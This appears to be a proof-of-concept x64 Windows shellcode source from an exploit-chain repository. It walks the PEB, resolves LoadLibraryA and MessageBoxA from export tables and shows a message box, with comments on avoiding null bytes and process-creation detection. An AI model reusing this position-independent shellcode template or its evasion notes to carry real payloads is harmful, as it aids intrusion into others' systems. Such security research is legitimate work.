mirror of
https://github.com/MazX0p/LACUNA-Chain
synced 2026-06-21 13:44:13 +00:00
xMohamed
127 lines
3.3 KiB
NASM
127 lines
3.3 KiB
NASM
; msgbox.asm — x64 Windows shellcode
|
|
; PEB walk → kernel32 → LoadLibraryA("user32.dll") → MessageBoxA
|
|
; No child process spawned — does not trigger NtCreateUserProcess detection
|
|
;
|
|
; Mohamed Alzhrani (0xmaz)
|
|
;
|
|
; build: nasm -f bin -o msgbox.bin msgbox.asm
|
|
|
|
BITS 64
|
|
default rel
|
|
|
|
_start:
|
|
push rbp
|
|
mov rbp, rsp
|
|
and rsp, 0xFFFFFFFFFFFFFFF0
|
|
sub rsp, 0x80
|
|
|
|
; ── kernel32 base via PEB ──
|
|
; [gs:rcx+0x60] with rcx=0 avoids the null bytes in [gs:0x60] encoding
|
|
xor rcx, rcx
|
|
mov rax, [gs:rcx + 0x60] ; PEB
|
|
mov rax, [rax + 0x18] ; Ldr
|
|
mov rax, [rax + 0x20] ; InMemoryOrderModuleList → exe
|
|
mov rax, [rax] ; → ntdll
|
|
mov rax, [rax] ; → kernel32
|
|
mov rbx, [rax + 0x20] ; DllBase (InMemoryOrderLinks+0x20 = entry+0x30)
|
|
|
|
; ── parse kernel32 export directory ──
|
|
mov eax, [rbx + 0x3c] ; e_lfanew
|
|
add rax, rbx
|
|
mov eax, [rax + 0x88] ; DataDirectory[EXPORT].VirtualAddress
|
|
add rax, rbx
|
|
mov rdx, rax
|
|
|
|
mov ecx, [rdx + 0x18] ; NumberOfNames
|
|
mov r8d, [rdx + 0x20] ; AddressOfNames RVA
|
|
add r8, rbx
|
|
mov r9d, [rdx + 0x24] ; AddressOfNameOrdinals RVA
|
|
add r9, rbx
|
|
mov r10d, [rdx + 0x1c] ; AddressOfFunctions RVA
|
|
add r10, rbx
|
|
|
|
; ── find LoadLibraryA ──
|
|
; "Load" → 0x64616F4C
|
|
; "Libr" → 0x7262694C
|
|
; "aryA" → 0x41797261
|
|
find_lla:
|
|
dec ecx
|
|
js done
|
|
mov esi, [r8 + rcx*4]
|
|
add rsi, rbx
|
|
cmp dword [rsi], 0x64616F4C
|
|
jnz find_lla
|
|
cmp dword [rsi+4], 0x7262694C
|
|
jnz find_lla
|
|
cmp dword [rsi+8], 0x41797261
|
|
jnz find_lla
|
|
|
|
movzx ecx, word [r9 + rcx*2]
|
|
mov eax, [r10 + rcx*4]
|
|
add rax, rbx ; rax = LoadLibraryA
|
|
|
|
; ── LoadLibraryA("user32.dll") ──
|
|
sub rsp, 0x20
|
|
lea rcx, [rel str_user32]
|
|
call rax
|
|
add rsp, 0x20
|
|
test rax, rax
|
|
jz done
|
|
mov rbx, rax ; rbx = user32.dll base
|
|
|
|
; ── parse user32 export directory ──
|
|
mov eax, [rbx + 0x3c]
|
|
add rax, rbx
|
|
mov eax, [rax + 0x88]
|
|
add rax, rbx
|
|
mov rdx, rax
|
|
|
|
mov ecx, [rdx + 0x18]
|
|
mov r8d, [rdx + 0x20]
|
|
add r8, rbx
|
|
mov r9d, [rdx + 0x24]
|
|
add r9, rbx
|
|
mov r10d, [rdx + 0x1c]
|
|
add r10, rbx
|
|
|
|
; ── find MessageBoxA ──
|
|
; "Mess" → 0x7373654D
|
|
; "ageB" → 0x42656761
|
|
; "ox" → 0x786F (word, avoids null from "oxA\0" dword)
|
|
; 'A' → 0x41
|
|
find_mba:
|
|
dec ecx
|
|
js done
|
|
mov esi, [r8 + rcx*4]
|
|
add rsi, rbx
|
|
cmp dword [rsi], 0x7373654D
|
|
jnz find_mba
|
|
cmp dword [rsi+4], 0x42656761
|
|
jnz find_mba
|
|
cmp word [rsi+8], 0x786F
|
|
jnz find_mba
|
|
cmp byte [rsi+10], 0x41
|
|
jnz find_mba
|
|
|
|
movzx ecx, word [r9 + rcx*2]
|
|
mov eax, [r10 + rcx*4]
|
|
add rax, rbx ; rax = MessageBoxA
|
|
|
|
; ── MessageBoxA(NULL, text, caption, MB_OK) ──
|
|
sub rsp, 0x20
|
|
xor ecx, ecx ; hWnd = NULL
|
|
lea rdx, [rel str_text] ; lpText
|
|
lea r8, [rel str_caption] ; lpCaption
|
|
xor r9d, r9d ; uType = MB_OK
|
|
call rax
|
|
add rsp, 0x20
|
|
|
|
done:
|
|
xor eax, eax
|
|
leave
|
|
ret
|
|
|
|
str_user32: db "user32.dll", 0
|
|
str_text: db "LACUNA Chain", 0
|
|
str_caption: db "0xmaz", 0
|